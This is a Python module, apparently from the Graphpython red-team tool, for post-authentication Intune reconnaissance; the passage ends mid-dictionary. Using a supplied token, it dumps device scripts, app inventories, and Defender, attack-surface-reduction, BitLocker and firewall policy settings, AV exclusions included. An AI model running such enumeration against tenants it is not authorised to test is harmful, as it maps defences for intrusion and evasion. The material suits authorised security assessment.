import requests import json import sys import base64 from tabulate import tabulate from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token from Graphpython.utils.helpers import read_file_content, graph_api_get ################################# # Post-Auth Intune Exploitation # ################################# # dump-devicemanagementscripts def dump_devicemanagementscripts(args): print_yellow("[*] Dump-DeviceManagementScripts") print("=" * 80) api_url = "https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts" if args.select: api_url += "?$select=" + args.select graph_api_get(get_access_token(args.token), api_url, args) print("=" * 80) # dump-windowsapps def dump_windowsapps(args): print_yellow("[*] Dump-WindowsApps") print("=" * 80) api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=(isof(%27microsoft.graph.win32CatalogApp%27)%20or%20isof(%27microsoft.graph.windowsStoreApp%27)%20or%20isof(%27microsoft.graph.microsoftStoreForBusinessApp%27)%20or%20isof(%27microsoft.graph.officeSuiteApp%27)%20or%20(isof(%27microsoft.graph.win32LobApp%27)%20and%20not(isof(%27microsoft.graph.win32CatalogApp%27)))%20or%20isof(%27microsoft.graph.windowsMicrosoftEdgeApp%27)%20or%20isof(%27microsoft.graph.windowsPhone81AppX%27)%20or%20isof(%27microsoft.graph.windowsPhone81StoreApp%27)%20or%20isof(%27microsoft.graph.windowsPhoneXAP%27)%20or%20isof(%27microsoft.graph.windowsAppX%27)%20or%20isof(%27microsoft.graph.windowsMobileMSI%27)%20or%20isof(%27microsoft.graph.windowsUniversalAppX%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.windowsWebApp%27)%20or%20isof(%27microsoft.graph.winGetApp%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" if args.select: api_url += "$select=" + args.select # some fields will 400 whole req if args.id: api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'User-Agent': user_agent } try: response = requests.get(api_url, headers=headers) response.raise_for_status() json_data = response.json() json_data.pop('@odata.context', None) json_data.pop('assignments@odata.context', None) for key, value in json_data.items(): if key == 'assignments': if not value: print_red("assignments: None") else: print_green("assignments:") for assignment in value: print(f" - ID: {assignment['id']}") print(f" Intent: {assignment['intent']}") if 'target' in assignment: target = assignment['target'] odata_type = target.get('@odata.type', '').split('.')[-1] print(f" Target:") if odata_type == 'exclusionGroupAssignmentTarget': group_id = target.get('groupId', 'N/A') print(f" Excluded Group ID: {group_id}") elif odata_type == 'allLicensedUsersAssignmentTarget': print(" Assigned to all users") elif odata_type == 'allDevicesAssignmentTarget': print(" Assigned to all devices") elif odata_type == 'groupAssignmentTarget': group_id = target.get('groupId', 'N/A') print(f" Assigned to Group ID: {group_id}") else: print(f" {odata_type}: {target}") print() else: print(f"{key}: {value}") except requests.exceptions.RequestException as ex: print_red(f"[-] HTTP Error: {ex}") print("=" * 80) return graph_api_get(get_access_token(args.token), api_url, args) print("=" * 80) # dump-iosapps def dump_iosapps(args): print_yellow("[*] Dump-iOSApps") print("=" * 80) api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=((isof(%27microsoft.graph.managedIOSStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27lineOfBusiness%27)%20or%20isof(%27microsoft.graph.iosLobApp%27)%20or%20isof(%27microsoft.graph.iosStoreApp%27)%20or%20isof(%27microsoft.graph.iosVppApp%27)%20or%20isof(%27microsoft.graph.managedIOSLobApp%27)%20or%20(isof(%27microsoft.graph.managedIOSStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27global%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.iOSiPadOSWebClip%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" if args.select: api_url += "$select=" + args.select # some fields will 400 whole req if args.id: api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'User-Agent': user_agent } try: response = requests.get(api_url, headers=headers) response.raise_for_status() json_data = response.json() json_data.pop('@odata.context', None) json_data.pop('assignments@odata.context', None) for key, value in json_data.items(): if key == 'assignments': if not value: print_red("assignments: None") else: print_green("assignments:") for assignment in value: print(f" - ID: {assignment['id']}") print(f" Intent: {assignment['intent']}") if 'target' in assignment: target = assignment['target'] odata_type = target.get('@odata.type', '').split('.')[-1] print(f" Target:") if odata_type == 'exclusionGroupAssignmentTarget': group_id = target.get('groupId', 'N/A') print(f" Excluded Group ID: {group_id}") elif odata_type == 'allLicensedUsersAssignmentTarget': print(" Assigned to all users") elif odata_type == 'allDevicesAssignmentTarget': print(" Assigned to all devices") elif odata_type == 'groupAssignmentTarget': group_id = target.get('groupId', 'N/A') print(f" Assigned to Group ID: {group_id}") else: print(f" {odata_type}: {target}") print() else: print(f"{key}: {value}") except requests.exceptions.RequestException as ex: print_red(f"[-] HTTP Error: {ex}") print("=" * 80) return graph_api_get(get_access_token(args.token), api_url, args) print("=" * 80) # dump-macosapps def dump_macosapps(args): print_yellow("[*] Dump-macOSApps") print("=" * 80) api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=(isof(%27microsoft.graph.macOSDmgApp%27)%20or%20isof(%27microsoft.graph.macOSPkgApp%27)%20or%20isof(%27microsoft.graph.macOSLobApp%27)%20or%20isof(%27microsoft.graph.macOSMicrosoftEdgeApp%27)%20or%20isof(%27microsoft.graph.macOSMicrosoftDefenderApp%27)%20or%20isof(%27microsoft.graph.macOSOfficeSuiteApp%27)%20or%20isof(%27microsoft.graph.macOsVppApp%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.macOSWebClip%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" if args.select: api_url += "$select=" + args.select # some fields will 400 whole req if args.id: api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'User-Agent': user_agent } try: response = requests.get(api_url, headers=headers) response.raise_for_status() json_data = response.json() json_data.pop('@odata.context', None) json_data.pop('assignments@odata.context', None) for key, value in json_data.items(): if key == 'assignments': if not value: print_red("assignments: None") else: print_green("assignments:") for assignment in value: print(f" - ID: {assignment['id']}") print(f" Intent: {assignment['intent']}") if 'target' in assignment: target = assignment['target'] odata_type = target.get('@odata.type', '').split('.')[-1] print(f" Target:") if odata_type == 'exclusionGroupAssignmentTarget': group_id = target.get('groupId', 'N/A') print(f" Excluded Group ID: {group_id}") elif odata_type == 'allLicensedUsersAssignmentTarget': print(" Assigned to all users") elif odata_type == 'allDevicesAssignmentTarget': print(" Assigned to all devices") elif odata_type == 'groupAssignmentTarget': group_id = target.get('groupId', 'N/A') print(f" Assigned to Group ID: {group_id}") else: print(f" {odata_type}: {target}") print() else: print(f"{key}: {value}") except requests.exceptions.RequestException as ex: print_red(f"[-] HTTP Error: {ex}") print("=" * 80) return graph_api_get(get_access_token(args.token), api_url, args) print("=" * 80) # dump-androidapps def dump_androidapps(args): print_yellow("[*] Dump-AndroidApps") print("=" * 80) api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=((isof(%27microsoft.graph.androidManagedStoreApp%27)%20and%20microsoft.graph.androidManagedStoreApp/isSystemApp%20eq%20true)%20or%20isof(%27microsoft.graph.androidLobApp%27)%20or%20isof(%27microsoft.graph.androidStoreApp%27)%20or%20(isof(%27microsoft.graph.managedAndroidStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27lineOfBusiness%27)%20or%20isof(%27microsoft.graph.managedAndroidLobApp%27)%20or%20(isof(%27microsoft.graph.managedAndroidStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27global%27)%20or%20(isof(%27microsoft.graph.androidManagedStoreApp%27)%20and%20microsoft.graph.androidManagedStoreApp/isSystemApp%20eq%20false)%20or%20isof(%27microsoft.graph.webApp%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" if args.select: api_url += "$select=" + args.select # some fields will 400 whole req if args.id: api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'User-Agent': user_agent } try: response = requests.get(api_url, headers=headers) response.raise_for_status() json_data = response.json() json_data.pop('@odata.context', None) json_data.pop('assignments@odata.context', None) for key, value in json_data.items(): if key == 'assignments': if not value: print_red("assignments: None") else: print_green("assignments:") for assignment in value: print(f" - ID: {assignment['id']}") print(f" Intent: {assignment['intent']}") if 'target' in assignment: target = assignment['target'] odata_type = target.get('@odata.type', '').split('.')[-1] print(f" Target:") if odata_type == 'exclusionGroupAssignmentTarget': group_id = target.get('groupId', 'N/A') print(f" Excluded Group ID: {group_id}") elif odata_type == 'allLicensedUsersAssignmentTarget': print(" Assigned to all users") elif odata_type == 'allDevicesAssignmentTarget': print(" Assigned to all devices") elif odata_type == 'groupAssignmentTarget': group_id = target.get('groupId', 'N/A') print(f" Assigned to Group ID: {group_id}") else: print(f" {odata_type}: {target}") print() else: print(f"{key}: {value}") except requests.exceptions.RequestException as ex: print_red(f"[-] HTTP Error: {ex}") print("=" * 80) return graph_api_get(get_access_token(args.token), api_url, args) print("=" * 80) # get-scriptcontent def get_scriptcontent(args): if not args.id: print_red("[-] Error: --id argument is required for Get-ScriptContent command") return print_yellow("[*] Get-ScriptContent") print("=" * 80) api_url = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{args.id}" if args.select: api_url += "&$select=" + args.select user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'User-Agent': user_agent } try: response = requests.get(api_url, headers=headers) response.raise_for_status() json_data = response.json() json_data.pop('@odata.context', None) script_content = json_data.get('scriptContent') if script_content: decoded_script_content = base64.b64decode(script_content).decode('utf-8') json_data['scriptContent'] = decoded_script_content json_data.pop('scriptContent', None) for key, value in json_data.items(): print(f"{key} : {value}") if script_content: print("scriptContent :\n") print(decoded_script_content) except requests.exceptions.RequestException as ex: print(f"[-] HTTP Error: {ex}") print("=" * 80) # display-avpolicyrules def display_avpolicyrules(args): if not args.id: print_red("[-] Error: --id argument is required for Display-AVPolicyRules command") return print_yellow("[*] Display-AVPolicyRules") print("=" * 80) api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" if args.select: api_url += "?$select=" + args.select user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': user_agent } settings_map = { "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_highseveritythreats": { "description": "Remediation action for High severity threats", "values": { "4=1": "Clean (service tries to recover files and try to disinfect)", "4=2": "Quarantine (moves files to quarantine)", "4=3": "Remove (removes files from system)", "4=6": "Allow (allows file/does none of the above actions)", "4=8": "User defined (requires user to make a decision on which action to take)", "4=10": "Block (blocks file execution)" } }, "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_lowseveritythreats": { "description": "Remediation action for Low severity threats", "values": { "1=1": "Clean (service tries to recover files and try to disinfect)", "1=2": "Quarantine (moves files to quarantine)", "1=3": "Remove (removes files from system)", "1=6": "Allow (allows file/does none of the above actions)", "1=8": "User defined (requires user to make a decision on which action to take)", "1=10": "Block (blocks file execution)" } }, "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_moderateseveritythreats": { "description": "Remediation action for Moderate severity threats", "values": { "2=1": "Clean (service tries to recover files and try to disinfect)", "2=2": "Quarantine (moves files to quarantine)", "2=3": "Remove (removes files from system)", "2=6": "Allow (allows file/does none of the above actions)", "2=8": "User defined (requires user to make a decision on which action to take)", "2=10": "Block (blocks file execution)" } }, "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_severethreats": { "description": "Remediation action for Severe threats", "values": { "5=1": "Clean (service tries to recover files and try to disinfect)", "5=2": "Quarantine (moves files to quarantine)", "5=3": "Remove (removes files from system)", "5=6": "Allow (allows file/does none of the above actions)", "5=8": "User defined (requires user to make a decision on which action to take)", "5=10": "Block (blocks file execution)" } }, "device_vendor_msft_policy_config_defender_allowarchivescanning": { "description": "Allow archive scanning", "values": { "0": "Not allowed (turns off scanning on archived files)", "1": "Allowed (scans the archive files)" } }, "device_vendor_msft_policy_config_defender_allowbehaviormonitoring": { "description": "Allow behavior monitoring", "values": { "0": "Not allowed (turns off behavior monitoring)", "1": "Allowed (turns on real-time behavior monitoring)" } }, "device_vendor_msft_policy_config_defender_allowcloudprotection": { "description": "Allow cloud protection", "values": { "0": "Not allowed (turns off Cloud Protection)", "1": "Allowed (turns on Cloud Protection" } }, "device_vendor_msft_policy_config_defender_allowemailscanning": { "description": "Allow email scanning", "values": { "0": "Not allowed (turns off email scanning)", "1": "Allowed (turns on email scanning)" } }, "device_vendor_msft_policy_config_defender_allowfullscanonmappednetworkdrives": { "description": "Allow full scan on mapped network drives", "values": { "0": "Not allowed (disables scanning on mapped network drives)", "1": "Allowed (scans mapped network drives)" } }, "device_vendor_msft_policy_config_defender_allowfullscanremovabledrivescanning": { "description": "Allow full scan on removable drives", "values": { "0": "Not allowed (turns off scanning on removable drives)", "1": "Allowed (scans removable drives)" } }, "device_vendor_msft_policy_config_defender_allowintrusionpreventionsystem": { "description": "Allow intrusion prevention system", "values": { "0": "Not allowed", "1": "Allowed" } }, "device_vendor_msft_policy_config_defender_allowioavprotection": { "description": "Allow IOAV protection", "values": { "0": "Not allowed", "1": "Allowed" } }, "device_vendor_msft_policy_config_defender_allowrealtimemonitoring": { "description": "Allow real-time monitoring", "values": { "0": "Not allowed", "1": "Allowed" } }, "device_vendor_msft_policy_config_defender_allowscanningnetworkfiles": { "description": "Allow scanning network files", "values": { "0": "Not allowed", "1": "Allowed" } }, "device_vendor_msft_policy_config_defender_allowscriptscanning": { "description": "Allow script scanning", "values": { "0": "Not allowed", "1": "Allowed" } }, "device_vendor_msft_policy_config_defender_allowuseruiaccess": { "description": "Allow user UI access", "values": { "0": "Not allowed", "1": "Allowed" } }, "device_vendor_msft_policy_config_defender_checkforsignaturesbeforerunningscan": { "description": "Check for signatures before running scan", "values": { "0": "Not required", "1": "Required" } }, "device_vendor_msft_policy_config_defender_cloudblocklevel": { "description": "Cloud block level", "values": { "0": "Disabled", "1": "Basic", "2": "High" } }, "device_vendor_msft_policy_config_defender_disablecatchupfullscan": { "description": "Disable catch-up full scan", "values": { "0": "Enabled", "1": "Disabled" } }, "device_vendor_msft_policy_config_defender_disablecatchupquickscan": { "description": "Disable catch-up quick scan", "values": { "0": "Enabled", "1": "Disabled" } }, "device_vendor_msft_policy_config_defender_enablelowcpupriority": { "description": "Enable low CPU priority", "values": { "0": "Disabled", "1": "Enabled" } }, "device_vendor_msft_policy_config_defender_enablenetworkprotection": { "description": "Enable network protection", "values": { "0": "Disabled", "1": "Enabled" } }, "device_vendor_msft_policy_config_defender_excludedextensions": { "description": "Excluded extensions", "values": {} }, "device_vendor_msft_policy_config_defender_excludedpaths": { "description": "Excluded paths", "values": {} }, "device_vendor_msft_policy_config_defender_excludedprocesses": { "description": "Excluded processes", "values": {} }, "device_vendor_msft_policy_config_defender_puaprotection": { "description": "PUA protection", "values": { "0": "Disabled", "1": "Enabled" } }, "device_vendor_msft_policy_config_defender_realtimescandirection": { "description": "Real-time scan direction", "values": { "0": "Both directions", "1": "Inbound only", "2": "Outbound only" } }, "device_vendor_msft_policy_config_defender_scanparameter": { "description": "Scan parameter", "values": { "0": "Quick scan", "1": "Full scan" } } } response = requests.get(api_url, headers=headers) if response.status_code == 200: response_json = response.json() for setting in response_json.get('value', []): if 'settingInstance' in setting: setting_instance = setting['settingInstance'] setting_id = setting_instance.get('settingDefinitionId', '') if setting_id in settings_map: description = settings_map[setting_id]['description'] if setting_instance['@odata.type'] == '#microsoft.graph.deviceManagementConfigurationSimpleSettingCollectionInstance': simple_setting_values = setting_instance.get('simpleSettingCollectionValue', []) value_list = [simple_setting_value.get('value', '') for simple_setting_value in simple_setting_values if simple_setting_value.get('value')] value = ', '.join(value_list) print(f"{description} : {value}") elif 'choiceSettingValue' in setting_instance: value = setting_instance['choiceSettingValue'].get('value', '') value_suffix = value[len(setting_id):].lstrip('_') if value_suffix in settings_map[setting_id]['values']: mapped_value = settings_map[setting_id]['values'][value_suffix] elif value_suffix == 'block': mapped_value = 'BLOCK' elif value_suffix == 'allow': mapped_value = 'ALLOW' else: mapped_value = value_suffix.upper() print(f"{mapped_value:<10} : {description}") # group setting collection values for setting in response_json.get('value', []): if 'settingInstance' in setting and 'groupSettingCollectionValue' in setting['settingInstance']: group_settings = setting['settingInstance']['groupSettingCollectionValue'] for group_setting in group_settings: for child in group_setting.get('children', []): choice_setting_value = child.get('choiceSettingValue', {}) value = choice_setting_value.get('value', '') setting_id = child.get('settingDefinitionId', '') if setting_id in settings_map: description = settings_map[setting_id]['description'] value_suffix = value[len(setting_id):].lstrip('_') if value_suffix in settings_map[setting_id]['values']: mapped_value = settings_map[setting_id]['values'][value_suffix] elif value_suffix == 'block': mapped_value = 'BLOCK' elif value_suffix == 'allow': mapped_value = 'ALLOW' else: mapped_value = value_suffix.upper() print(f"{mapped_value:<10} : {description}") else: print_red(f"[-] Failed to retrieve settings: {response.status_code}") print_red(response.text) print("=" * 80) # display-asrpolicyrules def display_asrpolicyrules(args): if not args.id: print_red("[-] Error: --id argument is required for Display-ASRPolicyRules command") return print_yellow("[*] Display-ASRPolicyRules") print("=" * 80) api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" if args.select: api_url += "?$select=" + args.select user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': user_agent } settings_map = { "blockadobereaderfromcreatingchildprocesses": "Block Adobe Reader from creating child processes", "blockprocesscreationsfrompsexecandwmicommands": "Block process creations from PSExec and WMI commands", "blockexecutionofpotentiallyobfuscatedscripts": "Block execution of potentially obfuscated scripts", "blockpersistencethroughwmieventsubscription": "Block persistence through WMI event subscription", "blockwin32apicallsfromofficemacros": "Block Win32 API calls from Office macros", "blockofficeapplicationsfromcreatingexecutablecontent": "Block Office applications from creating executable content", "blockcredentialstealingfromwindowslocalsecurityauthoritysubsystem": "Block credential stealing from Windows local security authority subsystem", "blockexecutablefilesrunningunlesstheymeetprevalenceagetrustedlistcriterion": "Block executable files running unless they meet prevalence age trusted list criterion", "blockjavascriptorvbscriptfromlaunchingdownloadedexecutablecontent": "Block JavaScript or VBScript from launching downloaded executable content", "blockofficecommunicationappfromcreatingchildprocesses": "Block Office communication app from creating child processes", "blockofficeapplicationsfrominjectingcodeintootherprocesses": "Block Office applications from injecting code into other processes", "blockallofficeapplicationsfromcreatingchildprocesses": "Block all Office applications from creating child processes", "blockwebshellcreationforservers": "Block web shell creation for servers", "blockuntrustedunsignedprocessesthatrunfromusb": "Block untrusted unsigned processes that run from USB", "useadvancedprotectionagainstransomware": "Use advanced protection against ransomware", "blockexecutablecontentfromemailclientandwebmail": "Block executable content from email client and webmail", "blockabuseofexploitedvulnerablesigneddrivers": "Block abuse of exploited vulnerable signed drivers" } response = requests.get(api_url, headers=headers) if response.status_code == 200: response_json = response.json() if "value" in response_json: for item in response_json["value"]: setting_instance = item.get("settingInstance", {}) group_settings = setting_instance.get("groupSettingCollectionValue", []) for group in group_settings: children = group.get("children", []) for child in children: choice_setting_value = child.get("choiceSettingValue", {}) value = choice_setting_value.get("value", "") if value: parts = value.split("_") if len(parts) >= 2: action = parts[-1].upper() rule_name = "_".join(parts[:-1]) rule_name = rule_name.replace("device_vendor_msft_policy_config_defender_attacksurfacereductionrules_", "") readable_rule = settings_map.get(rule_name, rule_name) print(f"{action:<6}: {readable_rule}") else: print_red(f"[-] Failed to retrieve settings: {response.status_code}") print_red(response.text) print("=" * 80) # display-diskencryptionpolicyrules def display_diskencryptionpolicyrules(args): if not args.id: print_red("[-] Error: --id argument is required for Display-DiskEncryptionPolicyRules command") return print_yellow("[*] Display-DiskEncryptionPolicyRules") print("=" * 80) api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" #?$expand=settingDefinitions" if args.select: api_url += "?$select=" + args.select user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': user_agent } settings_map = { "device_vendor_msft_bitlocker_fixeddrivesencryptiontype": "Enforce drive encryption type on fixed data drives", "device_vendor_msft_bitlocker_fixeddrivesrecoveryoptions": "Choose how BitLocker-protected fixed drives can be recovered", "device_vendor_msft_bitlocker_fixeddrivesrequireencryption": "Deny write access to fixed drives not protected by BitLocker", "device_vendor_msft_bitlocker_systemdrivesencryptiontype": "Enforce drive encryption type on operating system drives", "device_vendor_msft_bitlocker_systemdrivesrequirestartupauthentication": "Require additional authentication at startup", "device_vendor_msft_bitlocker_systemdrivesminimumpinlength": "Configure minimum PIN length for startup", "device_vendor_msft_bitlocker_systemdrivesenhancedpin": "Allow enhanced PINs for startup", "device_vendor_msft_bitlocker_systemdrivesdisallowstandarduserscanchangepin": "Disallow standard users from changing the PIN or password", "device_vendor_msft_bitlocker_systemdrivesenableprebootpinexceptionondecapabledevice": "Allow devices compliant with InstantGo or HSTI to opt out of pre-boot PIN", "device_vendor_msft_bitlocker_systemdrivesenableprebootinputprotectorsonslates": "Enable use of BitLocker authentication requiring preboot keyboard input on slates", "device_vendor_msft_bitlocker_systemdrivesrecoveryoptions": "Choose how BitLocker-protected operating system drives can be recovered", "device_vendor_msft_bitlocker_systemdrivesrecoverymessage": "Configure pre-boot recovery message and URL", "device_vendor_msft_bitlocker_removabledrivesconfigurebde": "Control use of BitLocker on removable drives", "device_vendor_msft_bitlocker_removabledrivesrequireencryption": "Deny write access to removable drives not protected by BitLocker", "device_vendor_msft_bitlocker_encryptionmethodbydrivetype": "Choose drive encryption method and cipher strength (Windows 10 [Version 1511] and later)", "device_vendor_msft_bitlocker_identificationfield": "Provide the unique identifiers for your organization", "device_vendor_msft_bitlocker_requiredeviceencryption": "Require Device Encryption", "device_vendor_msft_bitlocker_allowwarningforotherdiskencryption": "Allow Standard User Encryption", "device_vendor_msft_bitlocker_configurerecoverypasswordrotation": "Configure Recovery Password Rotation" } response = requests.get(api_url, headers=headers) if response.status_code == 200: response_json = response.json() for setting in response_json.get('value', []): if 'settingInstance' in setting and 'choiceSettingValue' in setting['settingInstance']: value_field = setting['settingInstance']['choiceSettingValue'].get('value') if value_field: cleaned_value = value_field.rstrip('_01') if cleaned_value in settings_map: setting_text = settings_map[cleaned_value] if value_field.endswith('_1'): print(f"ENABLED : {setting_text}") elif value_field.endswith('_0'): print(f"DISABLED : {setting_text}") else: print(f"{setting_text} - {value_field}") else: print_red(f"[-] Failed to retrieve settings: {response.status_code}") print_red(response.text) print("=" * 80) # display-firewallconfigpolicyrules - firewall config policy def display_firewallconfigpolicyrules(args): if not args.id: print_red("[-] Error: --id argument is required for display-firewallconfigpolicyrules command") return print_yellow("[*] Display-FirewallConfigPolicyRules") print("=" * 80) api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" user_agent = get_user_agent(args) headers = { 'Authorization': f'Bearer {get_access_token(args.token)}', 'Content-Type': 'application/json', 'User-Agent': user_agent } settings_map = { "vendor_msft_firewall_mdmstore_global_crlcheck": { "displayName": "Certificate revocation list verification", "options": { "vendor_msft_firewall_mdmstore_global_crlcheck_0": "None - Disables CRL checking", "vendor_msft_firewall_mdmstore_global_crlcheck_1": "Attempt - checking is attempted and that certificate validation fails only if the certificate is revoked", "vendor_msft_firewall_mdmstore_global_crlcheck_2": "Require - checking is required and that certificate validation fails if any error is encountered during CRL processing", } }, "vendor_msft_firewall_mdmstore_global_disablestatefulftp": { "displayName": "Disable Stateful Ftp", "options": { "vendor_msft_firewall_mdmstore_global_disablestatefulftp_false": "Stateful FTP enabled", "vendor_msft_firewall_mdmstore_global_disablestatefulftp_true": "Stateful FTP disabled", } }, "vendor_msft_firewall_mdmstore_global_enablepacketqueue": { "displayName": "Enable Packet Queue", "options": { "vendor_msft_firewall_mdmstore_global_enablepacketqueue_0": "Disabled - Indicates that all queuing is to be disabled", "vendor_msft_firewall_mdmstore_global_enablepacketqueue_1": "Queue Inbound - inbound encrypted packets are to be queued", "vendor_msft_firewall_mdmstore_global_enablepacketqueue_2": "Queue Outbound - packets are to be queued after decryption is performed for forwarding", } }, "vendor_msft_firewall_mdmstore_global_ipsecexempt": { "displayName": "IPsec Exceptions", "options": { "vendor_msft_firewall_mdmstore_global_ipsecexempt_0": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_NONE: No IPsec exemptions.", "vendor_msft_firewall_mdmstore_global_ipsecexempt_1": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_NEIGHBOR_DISC: Exempt neighbor discover IPv6 ICMP type-codes from IPsec.", "vendor_msft_firewall_mdmstore_global_ipsecexempt_2": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_ICMP: Exempt ICMP from IPsec.", "vendor_msft_firewall_mdmstore_global_ipsecexempt_4": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_ROUTER_DISC: Exempt router discover IPv6 ICMP type-codes from IPsec.", "vendor_msft_firewall_mdmstore_global_ipsecexempt_8": "FW_GLOBAL_CONFIG_IPSEC_EXEMPT_DHCP: Exempt both IPv4 and IPv6 DHCP traffic from IPsec.", } }, "vendor_msft_firewall_mdmstore_global_opportunisticallymatchauthsetperkm": { "displayName": "Opportunistically Match Auth Set Per KM", "options": { "vendor_msft_firewall_mdmstore_global_opportunisticallymatchauthsetperkm_false": "FALSE", "vendor_msft_firewall_mdmstore_global_opportunisticallymatchauthsetperkm_true": "TRUE", } }, "vendor_msft_firewall_mdmstore_global_presharedkeyencoding": { "displayName": "Preshared Key Encoding", "options": { "vendor_msft_firewall_mdmstore_global_presharedkeyencoding_0": "FW_GLOBAL_CONFIG_PRESHARED_KEY_ENCODING_NONE: Preshared key is not encoded. Instead, it is kept in its wide-character format. This symbolic constant has a value of 0.", "vendor_msft_firewall_mdmstore_global_presharedkeyencoding_1": "FW_GLOBAL_CONFIG_PRESHARED_KEY_ENCODING_UTF_8: Encode the preshared key using UTF-8. This symbolic constant has a value of 1.", } }, "vendor_msft_firewall_mdmstore_global_saidletime": { "displayName": "Security association idle time", "options": {} }, "vendor_msft_firewall_mdmstore_domainprofile_allowlocalipsecpolicymerge": { "displayName": "Allow Local Ipsec Policy Merge", "options": { "vendor_msft_firewall_mdmstore_domainprofile_allowlocalipsecpolicymerge_false": "AllowLocalIpsecPolicyMerge Off", "vendor_msft_firewall_mdmstore_domainprofile_allowlocalipsecpolicymerge_true": "AllowLocalIpsecPolicyMerge On", } }, "vendor_msft_firewall_mdmstore_domainprofile_authappsallowuserprefmerge": { "displayName": "Auth Apps Allow User Pref Merge", "options": { "vendor_msft_firewall_mdmstore_domainprofile_authappsallowuserprefmerge_false": "AuthAppsAllowUserPrefMerge Off", "vendor_msft_firewall_mdmstore_domainprofile_authappsallowuserprefmerge_true": "AuthAppsAllowUserPrefMerge On", } }, "vendor_msft_firewall_mdmstore_domainprofile_enablelogdroppedpackets": { "displayName": "Enable Log Dropped Packets", "options": { "vendor_msft_firewall_mdmstore_domainprofile_enablelogdroppedpackets_false": "Disable Logging Of Dropped Packets", "vendor_msft_firewall_mdmstore_domainprofile_enablelogdroppedpackets_true": "Enable Logging Of Dropped Packets", } }, "vendor_msft_firewall_mdmstore_domainprofile_disableunicastresponsestomulticastbroadcast": { "displayName": "Disable Unicast Responses To Multicast Broadcast", "options": { "vendor_msft_firewall_mdmstore_domainprofile_disableunicastresponsestomulticastbroadcast_false": "Unicast Responses Not Blocked", "vendor_msft_firewall_mdmstore_domainprofile_disableunicastresponsestomulticastbroadcast_true": "Unicast Responses Blocked", } }, "vendor_msft_firewall_mdmstore_domainprofile_shielded": { "displayName": "Shielded", "options": { "vendor_msft_firewall_mdmstore_domainprofile_shielded_false": "Shielding Off", "vendor_msft_firewall_mdmstore_domainprofile_shielded_true": "Shielding On", } }, "vendor_msft_firewall_mdmstore_domainprofile_allowlocalpolicymerge": { "displayName": "Allow Local Policy Merge", "options": { "vendor_msft_firewall_mdmstore_domainprofile_allowlocalpolicymerge_false": "AllowLocalPolicyMerge Off", "vendor_msft_firewall_mdmstore_domainprofile_allowlocalpolicymerge_true": "AllowLocalPolicyMerge On", } }, "vendor_msft_firewall_mdmstore_domainprofile_defaultoutboundaction": { "displayName": "Default Outbound Action", "options": { "vendor_msft_firewall_mdmstore_domainprofile_defaultoutboundaction_0": "Allow Outbound By Default", "vendor_msft_firewall_mdmstore_domainprofile_defaultoutboundaction_1": "Block Outbound By Default", } }, "vendor_msft_firewall_mdmstore_domainprofile_enablelogignoredrules": { 